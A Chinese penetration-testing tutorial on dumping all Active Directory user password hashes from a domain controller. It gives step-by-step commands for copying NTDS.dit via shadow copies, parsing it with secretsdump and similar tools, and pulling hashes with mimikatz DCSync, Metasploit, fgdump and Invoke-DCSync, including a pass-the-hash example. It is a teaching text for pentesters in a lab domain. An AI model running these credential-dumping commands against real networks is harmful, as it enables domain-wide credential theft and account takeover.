网络安全域内用户Hash获取方式

news2024/11/18 21:50:18

前言

在渗透测试的过程中,当我们已经是域管权限时,就可以实现提取所有域内用户的密码哈希以进行离线破解和分析,这是非常常见的一个操作,这些哈希值存储在域控制器(NTDS.DIT)中的数据库文件中,并带有一些其他信息,如用户名、散列值、组、GPP、OU等于活动目录相关的信息,它和SAM文件一样都是被操作系统锁定的,因此无法直接复制到其他位置以提取信息。

NTDS.dit文件位于Windows以下位置:

C:\Windows\NTDS\NTDS.dit
image.png

NTDS提取

NTDSUTIL

NTDSUTIL是一个命令行工具,它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和管理Windows Active Directory数据库,但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文件的快照,该文件可以复制到新位置以进行离线分析和密码哈希的提取

ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit

image.png

【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

之后在C:\ntdsutil中将生成两个新文件夹:Active Directory和Registry:

image.png

NTDS.DIT文件将保存在Active Directory中:
image.png

SAM和SYSTEM文件将保存到Registry文件夹中:

image.png

之后可以使用ntdsdump进行离线提取Hash:

ntdsdump.exe -f ntds.dit -s SYSTEM

参数说明:

ntdsdump.exe <-f ntds.dit> <-k HEX-SYS-KEY | -s system.hiv> [-o out.txt] [-h] [-t JOHN|LC] * -f ntds.dit路径 * -k 可选的十六进制格式的SYSKEY * -s 可选的system.hiv路径 * -h 导出历史密码记录 * -t 导出格式,LC或JOHN * -o 导出到指定文件中 *
image.png

之后在CMd5解密网站进行解密解密即可:

image.png

vssadmin

vssadmin是WIndows Server 2008和Win 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序等,在内网渗透测试过程中,我们也可以使用vssadminn来提取ntds.dit文件,流程如下:

Step 1:在域控制器中打开命令环境,输入如下命令,创建一个C盘的影卷拷贝:

vssadmin create shadow /for=c:

image.png

Step 2:将NTDS.dit和SYSTEM文件从创建的影卷中复制出来

copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\SYSTEM

image.png

之后可以在C盘中看到成功复制ntds.dit文件:

image.png

Step 3:之后执行以下命令删除影卷信息:

vssadmin delete shadows /for=c: /quiet

image.png

Step 4:之后通过impacket来导出hash值

./secretsdump.py -system /root/vssadmin/SYSTEM -ntds /root/vssadmin/ntds.dit LOCAL

image.png

vssown.vbs

与vssadmin程序类似,Tim Tomes开发了vssown,它是一个可视化的基本脚本,可以创建和删除卷影副本,从卸载的卷影副本运行任意可执行文件,以及启动和停止卷影复制服务。

Step 1:启动影卷拷贝服务

cscript vssown.vbs /start

image.png

Step 2:创建一个C盘的影卷拷贝

cscript vssown.vbs /create c

image.png

Step 3:列出当前影卷拷贝

cscript vssown.vbs /list

image.png

Step 4:复制ntds.dit、SYSTEM、SAM文件

copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\vssown\ntds.dit
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\system32\config\SYSTEM C:\vssown\SYSTEM
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\system32\config\SAM C:\vssown\SAM

image.png

Step 5:查看拷贝的文件

dir c:\vssown\

image.png

Step 6:删除影卷拷贝

cscript vssown.vbs /delete {54ECD66A-570C-4489-956F-9B83E4C8B1B9}

image.png

Step 7:之后使用impacket导出Hash

./secretsdump.py -system /root/vssown/SYSTEM -ntds /root/vssown/ntds.dit LOCAL

image.png

diskshadow

DiskShadow是Microsoft签名的二进制文件,用于协助管理员执行与卷复制服务(VSS)相关的操作。最初bohops在他的博客中写到了这个二进制文件。这个二进制文件有两个交互式和脚本模式,因此可以使用一个脚本文件,它将包含自动执行NTDS.DIT提取过程所需的所有命令。脚本文件可以包含以下行,以便创建新的卷影副本,装入新驱动器,执行复制命令并删除卷影副本,在使用时需要注意一点,DiskShadow二进制文件需要从C\Windows\System32路径执行,如果从另一个路径调用它,脚本将无法正确执行:

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds.dit
delete shadows all
reset

在cmd下执行以下命令:

diskshadow.exe /s c:\diskshadow.txt

图片.png

之后查看c盘可以看到成功复制文件:

图片.png

导出ntds.dit后,可以键system.hive转储,因为system.hive中存放着ntds.dit的秘钥,如果没有该密钥,将无法查看ntds.dit中的信息:

reg save hklm\system c:\system.hive

image.png

之后使用impacket导出hash

./secretsdump.py -system /root/diskshadow/system.hive -ntds /root/diskshadow/ntds.dit LOCAL

image.png

NDTS Hash

Impacket

我们可以使用impacket工具包中的secretsdump来解析ntds.dit文件并导出散列:

./secretsdump.py -system /root/system.hive -ntds /root/ntds.dit LOCAL

image.png

impacket还可以直接通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值:

./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:41945356c1b2adde08c00d0e48515b7e -just-dc hacke.testlab/administrator@192.168.188.2

image.png

esedbexport

在这里我们需要通过安装libesedb从ntds.dit中导出dataable和link_table,在终端执行以下命令下载libesedb:

git clone
cd libesedb/
./synclibs.sh
./autogen.sh

image.png

image.png

image.png

之后执行以下命令安装依赖:

sudo apt install git autoconf automake autopoint libtool pkg-config

image.png

之后执行以下命令对libesedb进行编译与安装:

./configure
make
sudo make install
sudo ldconfig

image.png

安装完成之后会在系统的/usr/local/bin目录下看的esedbexport程序,如下所示:

ls /usr/local/bin/ | grep esedbexport

image.png

之后使用esedbexport进行恢复操作,执行以下命令来提取表信息,操作时间视ntds.dit文件的大小而定,如果提取成功会在同一目录下生成一个文件夹,这里我们只提取dataable和link_table:

esedbexport -m tables /root/ntds.dit

image.png

导出信息如下所示:

image.png

之后我们借助ntdsxtract来导出散列值,首先我们需要安装该工具:

git clone 

图片.png

之后进入文件夹执行以下命令进行安装:

python setup.py build && python setup.py install
running build

图片.png

之后输入以下命令,将导出的ntds.dit.export文件夹和SYSTEM文件一并放入ntdsxtract文件夹并执行以下命令:

./dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt

图片.png

之后会将域内的所有用户名和散列值导出到all_user.txt中:

图片.png

ntds.dit包含域内的所有信息,可以通过分析ntds.dit导出域内的计算机信息以及其他信息,命令如下:

dscomputers.py ntds.dit.export/datatable.4 computer_output --csvoutfile all_computers.csv

图片.png

图片.png

NTDSDumpex

NTDSDumpex.exe程序也可以用于导出散列值得操作,在使用时只需要将ntds.dit、SYSTEM、NTDSDumpex.exe放到同一目录下,之后执行以下命令即可(效果并不理想,时常出现下面的问题):

NTDSDumpex.exe -d ntds.dit -s system

图片.png

####第三方工具

下面介绍几种常见的域内用户Hash获取的方法与策略~

Mimikatz

项目介绍:mimikatz用于从Windows操作系统内存中提取明文密码、散列、pin码和kerberos票据,同时mimikatz还可以执行传递散列、传递票证或构建黄金票证。
工具使用:

a、获取所有域内用户的账户信息

lsadump::dcsync /domain:hacke.testlab /all /csv

图片.png

b、通过使用/user参数指定域用户名来获取特定用户的所有帐户信息,包括其密码哈希

lsadump::dcsync /domain:hacke.testlab /user:testuser

图片.png
图片.png

c、直接在域控制器中执行Mimikatz,通过lsass.exe进程dump哈希

privilege::debug
lsadump::lsa /inject

图片.png

Empire

提取域内所有用户hash值:

usemodule credentials/mimikatz/dcsync_hashdump

dump特定帐户信息:

(Empire: 8GLZTYXR) > usemodule credentials/mimikatz/dcsync
(Empire: powershell/credentials/mimikatz/dcsync) > set user Al1ex
(Empire: powershell/credentials/mimikatz/dcsync) > execute

image.png

Nishang

Nishang是一个PowerShell框架,它让redteam和渗透测试人员能够对系统进行攻击性操作,Nishang中的VSS脚本可以用于自动提取所需的文件:NTDS.DIT,SAM和SYSTEM,这些文件将被解压缩到当前工作目录或指定的任何其他文件夹中。

Import-Module .\Copy-VSS.ps1
Copy-VSS //复制到当前目录
Copy-VSS -DestinationDir C:\ShadowCopy //复制到指定目录

图片.png

之后通过Mimikatz来获取信息:

lsadump::sam /sam:sam.hive /system:system.hive

图片.png

Metasploit
run post/windows/gather/hashdump

图片.png

run post/windows/gather/smart_hashdump

图片.png

如果已经拿到域控制器的现有Meterpreter会话,则可以使用命令hashdump,但是,此方法不被认为是安全的,因为可能会使域控崩掉

图片.png

fgdump

fgdump是一个比较老的可执行文件,可提取的LanMan和NTLM的密码哈希值,如果已获取本地管理员凭据,则可以在本地或远程执行。在执行期间,fgdump将尝试禁用可能在系统上运行的防病毒软件,如果成功,则会将所有数据写入两个文件中,如果存在防病毒或端点解决方案,则不应该将fgdump用作dump密码哈希的方法以避免检测,因为大多数防病毒公司(包括Microsoft的Windows Defender)都会对将它kill掉

fgdump.exe
图片.png

之后可以通过检查.pwdump文件的内容来get密码哈希值
图片.png

PS:速度超级慢,慢的卡死,强烈不推荐~

Invoke-DCSync

Invoke–DCSync是Nick Landers利用PowerView开发的powershell脚本,Invoke-ReflectivePEInjection和PowerKatz的DLL wrapper调用Mimikatz的DCSync方法检索哈希值,直接执行该函数将生成以下输出:

Import-Module ./Invoke-DCSync.ps1
Invoke-DCSync

图片.png

从上面可以看到结果将格式化为四个表:Domain,User,RID和Hash,当使用参数-PWDumpFormat执行Invoke-DCSync将以以下格式检索哈希:

user:id:lm:ntlm :::

图片.png

文末小结

本篇文章主要介绍了域内用户Hash的获取方法,同样在内网渗透中很有用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/63024.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

5-3:Spring整合Kafka

引入依赖 spring-kafka <!-- https://mvnrepository.com/artifact/org.springframework.kafka/spring-kafka --> <dependency><groupId>org.springframework.kafka</groupId><artifactId>spring-kafka</artifactId>/*可以注释掉&#xff…

小程序webView页面转发后,进入页面空白

小程序webView页面&#xff0c;在点击右上角按钮分享后&#xff0c;进入分享的链接页面空白 重新进入页面后&#xff0c;页面空白。使用电脑打开之后报错提示如下 一、排查页面转发后&#xff0c;页面地址有没有解码 webview页面转发后&#xff0c;小程序会将url参数转码&…

Java并发-CompletableFuture的详解

目录 1 前言 2 常用方法 3 测试 3.1 runAsync&#xff1a;无返回值 和 SupplyAsync&#xff1a;有返回值 3.2 串行执行 3.3 任务3等待等任务1和任务2都执行完毕后执行 3. 4 任务3等待等任务1或者任务2执行完毕后执行 3.5 handleAsync 3.6 多任务执行 1 前言 Completable…

LabVIEW中将前面板置于所有桌面窗口的前面

LabVIEW中将前面板置于所有桌面窗口的前面 想将前面板窗口设置在所有桌面窗口的前面。前面板属性IsFrontmost&#xff08;如下图所示&#xff09;将前面板设置为仅位于所有 LabVIEW 窗口的前面。如何将前面板置于所有桌面窗口的前面&#xff1f; 解决方案 如果使用位于C:\WIN…

【JavaWeb】第七章 Tomcat

文章目录1、JavaWeb2、Web资源与Web服务器3、Tomcat的使用4、部署Web工程到Tomcat中5、工程和资源的访问6、IDEA集成Tomcat服务器7、创建动态web工程1、JavaWeb JavaWeb是指通过Java语言编写的可以通过浏览器访问的程序的总称。 请求&#xff1a; 客户端给服务器发送数据&…

java基于SSM的婚纱影楼管理系统-计算机毕业设计

开发环境 开发工具:IDEA /Eclipse 数据库:MYSQL5.7 应用服务:Tomcat7/Tomcat8 使用框架:SSM(springspringMVCmybatis)vue 项目介绍 婚姻是每个人人生中都非常重要的一个组成部分&#xff0c;它是一个新家庭的开始也是爱情的见证&#xff0c;所以很多人在结婚之前都会拍一套美…

数字先锋 | 农业农村部大数据公共平台基座上线,天翼云擎起乡村振兴新希望!

近日&#xff0c;由中国农业农村部大数据发展中心牵头&#xff0c;联合中国电信集团有限公司、人民数据管理&#xff08;北京&#xff09;有限公司、北京中农信达信息技术有限公司、北京农信通科技有限责任公司共同打造的“农业农村大数据公共平台基座”已正式上线&#xff0c;…

借助云的力量,重塑企业的现在和未来|re:Invent 2022 Adam Selipsky 主题演讲精华全收录

2022 亚马逊云科技re:Invent全球大会进入第二天&#xff0c;亚马逊云科技首席执行官 Adam Selipsky 发表了“如何借助云的力量&#xff0c;在未知领域抓住机遇并茁壮成长”的主题演讲。在两个小时的演讲中&#xff0c;Adam 重点围绕数据、安全、计算性能和行业应用等4个主题发布…

问题 A: 二叉排序树 - 文本输出

题目描述 给定一个序列&#xff0c;使用该序列生成二叉排序树&#xff08;也叫二叉搜索树&#xff0c;BST&#xff09;&#xff0c;然后以本题规定方法输出该二叉排序树。 例&#xff1a; 给定一个序列&#xff1a;43 25 29 67 17 88 54 47 35 62 以第一个数字&#xff08;43&…

RFID防盗安全门,自助借还书机,让图书馆发展进入新的里程碑

RFID无线射频识别是一种非接触的自动识别技术&#xff0c;它通过射频信号自动识别目标对象并获取相关数据&#xff0c;可快速进行物品追踪和数据交换&#xff0c;其识别无需人工干预。 RFID作为一种新的技术&#xff0c;它不只是简单的磁条码替代品&#xff0c;它的运作让图书馆…

为什么说新一代BI是“面向业务的可视化分析工具”?

BI工具一直被誉为数据应用的“最后一公里”&#xff0c;其原因在于BI工具可以通过简洁的方式完成数据分析&#xff0c;将数据结果直观的展现给使用者&#xff0c;达到释放数据价值的目的。 然而&#xff0c;传统BI的根本问题在于操作难度大&#xff0c;导致只能专业的IT人员进…

(02)Cartographer源码无死角解析-(33) LocalTrajectoryBuilder2D: 点云数据流向、处理、消息发布等→流程复盘

讲解关于slam一系列文章汇总链接:史上最全slam从零开始&#xff0c;针对于本栏目讲解(02)Cartographer源码无死角解析-链接如下: (02)Cartographer源码无死角解析- (00)目录_最新无死角讲解&#xff1a;https://blog.csdn.net/weixin_43013761/article/details/127350885 文末…

反复重购,资金严重浪费?企业资产需要这样管理

很多企事业资产具有数量大、种类多、价值高、使用周期长、使用地点分散&#xff0c;管理难度大。一些传统固定资产管理软件&#xff0c;痛点丛生&#xff0c;已难于满足企事业需求。 资产管理业务4大现状 01.手段滞后 资产实际的使用状态及状况无法得到及时、准确地反馈。 02.…

「Redis数据结构」RedisObject

「Redis数据结构」RedisObject 文章目录「Redis数据结构」RedisObject一、概述二、结构三、编码方式四、小结五、参考一、概述 redisObject对象非常重要&#xff0c;Redis对象的类型、内部编码、内存回收、共享对象等功能&#xff0c;都需要redisObject支持。 redis 不是一个…

DPDK EAL

DPDK全程是Intel Data Plane Development Kit&#xff0c;是一个数据平面开发集。 DPDK的主要思想 绕过内核&#xff0c;实现Zero Copy使用UIO驱动屏蔽硬中断&#xff0c;并采用PMD主动轮询&#xff0c;减少Cache Miss和切换上下文的开销使用大页内存&#xff0c;减少TLB Mis…

重磅:Docker Desktop正式集成WasmEdge。后者首登GitHubTrending

上周五&#xff0c;Docker Desktop 发布了 4.15 新版本。在这个版本中&#xff0c;Docker Desktop 正式集成了 WasmEdge 的 containerd shim&#xff0c; 并且 Docker Wasm 也从 tech preview 进入到了 beta 阶段。这意味着&#xff0c;1000 万 Docker Desktop 的用户都安装了…

代码安全与质量 | 在这个充满变数的时代,花小钱办大事

在这个充满变数的时代&#xff0c;许多企业都想要提升效率&#xff0c;但如何以同样的时间、人力成本创造出更大的价值&#xff1f;在研发领域&#xff0c;企业选择引入更好的工具来帮助交付高质量代码&#xff0c;比如Sonar&#xff0c;帮助团队充分利用时间&#xff0c;专注于…

Gradle 使用maven本地仓库 带来的思考

Gradle 使用maven本地仓库 带来的思考 本篇主要探究一下 在使用Gradle 的时候一般会配置 maven 的本地仓库的,那是不是Gradle 可以直接使用 maven本地仓库的jar呢 ? 下面来探究一下 思考 当我们在使用Gradle的时候 一配置一个 mavenLocal() 代表它会使用maven的本地仓库, 此时…

独立产品灵感周刊 DecoHack #040 - Google公布2022年度最佳应用榜单

本周刊记录有趣好玩的独立产品设计开发相关内容&#xff0c;每周发布&#xff0c;往期内容同样精彩&#xff0c;感兴趣的伙伴可以点击订阅我的周刊。为保证每期都能收到&#xff0c;建议邮件订阅。欢迎通过 Twitter 私信推荐或投稿。&#x1f4bb; 产品推荐 1. Sensei 这是一…

408真题-2021

死去的记忆正在攻击我&#xff1a; [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n7aXxWnx-1670222893563)(https://waite1-1307752947.cos.ap-nanjing.myqcloud.com/img/202212051447504.png)][外链图片转存失败,源站可能有防盗链机制,建议将图片保…